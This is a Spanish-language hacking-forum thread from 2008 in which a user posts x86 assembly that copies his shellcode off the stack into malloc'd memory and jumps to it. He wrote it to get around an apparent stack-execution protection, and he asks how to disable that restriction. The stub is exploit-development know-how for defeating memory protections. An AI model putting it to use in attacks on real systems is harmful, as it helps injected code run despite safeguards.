elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 20:50  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Permitir ejecuccion de llamads al kernel desde la pila.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Permitir ejecuccion de llamads al kernel desde la pila.  (Leído 1,398 veces)
Ferсhu


Desconectado Desconectado

Mensajes: 1.213

Menos palabras y Mas codigos.


Ver Perfil WWW
Permitir ejecuccion de llamads al kernel desde la pila.
« en: 23 Enero 2008, 19:56 »

Estaba probando una shellcode, y me encuentro con q cuando ejecuta llamadas al kernel32, el SO detecta q la llamada proviene de la pila y se tilda el prog. Para estar seguro puse la shellcode en DS y anda todo bien asi q el problema esta cuando se ejecuta en la pila.

Como no tenia internet y keria q funcione se me ocurrio agregarle a la shellcode una funcion q me copie la misma otra parte q si me permita la ejecucion correctamente.

hice algo asi, Pongo la funcion x si a alguien le interesa:


Código
MOV EBX,11111111                      ; esto es para jugar con los opcodes :p
MOV EAX,111114F9  
sUB EAX,EBX                           ; pongo 1000 en eax
SUB ESP,EAX                           ; para q no borre los datos de la pila.
PUSH EAX                              ; meto a la pila el tam q reservo.
MOV EAX,11512831                      ; pongo un numero
SUB EAX,EBX                           ; el num se convierte en la direccion de malloc harcoded
CALL EAX                              ; llamo a malloc y reservo memoria (1000).
POP ECX                               ; saco el numero 1000 de la pila
ADD ESP,ECX                           ; vuelvo a la poss anterior.
PUSH EAX                              ; meto a la pila la direccion q reservada con malloc.
NOP                                   ; opcode super importante jaja no hace nada :p
 
; comienza a copiar.
MOV ECX,111111E5
SUB ECX,EBX  
ADD EAX,ECX                           ; le sumo el tam de la shellcode (y un pokito mas x las dudas.)
LEA EDX,DWORD PTR SS:[ESP-4]          ; direccion donde termina la shellcode +1
DEC EAX                               ; decremento pos de shellcode en espacio nuevo
DEC EDX                               ; decremento pos de la shell code en pila.
MOV BL,BYTE PTR SS:[EDX]              ; lee shellcode de la pila (empieza a copiar desde el final)
MOV BYTE PTR DS:[EAX],BL              ; escribe la funcion en el espacio reservado
CMP DWORD PTR SS:[ESP],EAX            ; compara si llego a la direccion, osea si termino de copiar todo.
JNZ SHORT un par de dir pa traz...    ; repite hasta copiar todo.
JMP DWORD PTR SS:[ESP]                ; ejecuta la shellcode en DS:[] :p
 

Todo eso aderido a la sheelcode y un par de nops por q no tenia ganas de calcular bien las direcciones exactas jaja.

Pero esto no queda mui lindo no??, ya q agranda la shellcode, necesita la dir de malloc harcodiada del programa, asi q no tiene mucha funcionalibidad, pero sirvio para probar q se podia saltar esa restriccion jeje.

Buen esto no tiene mucho q ver, solo lo hice por q no ternia internet, me gustaria saber como puede deshabilitar la restriccion (si se puede) y q me permita ejecutar cualkier codigo en la pila. seguramente es algo del AV o del SO.

Saludos!!
« Última modificación: 23 Enero 2008, 20:01 por <~>FeRcHu<~> » En línea

Ferсhu


Desconectado Desconectado

Mensajes: 1.213

Menos palabras y Mas codigos.


Ver Perfil WWW
Re: Permitir ejecuccion de llamads al kernel desde la pila.
« Respuesta #1 en: 28 Enero 2008, 01:44 »

Ya solucione el problema :p

« Última modificación: 30 Enero 2008, 23:49 por <~>FeRcHu<~> » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines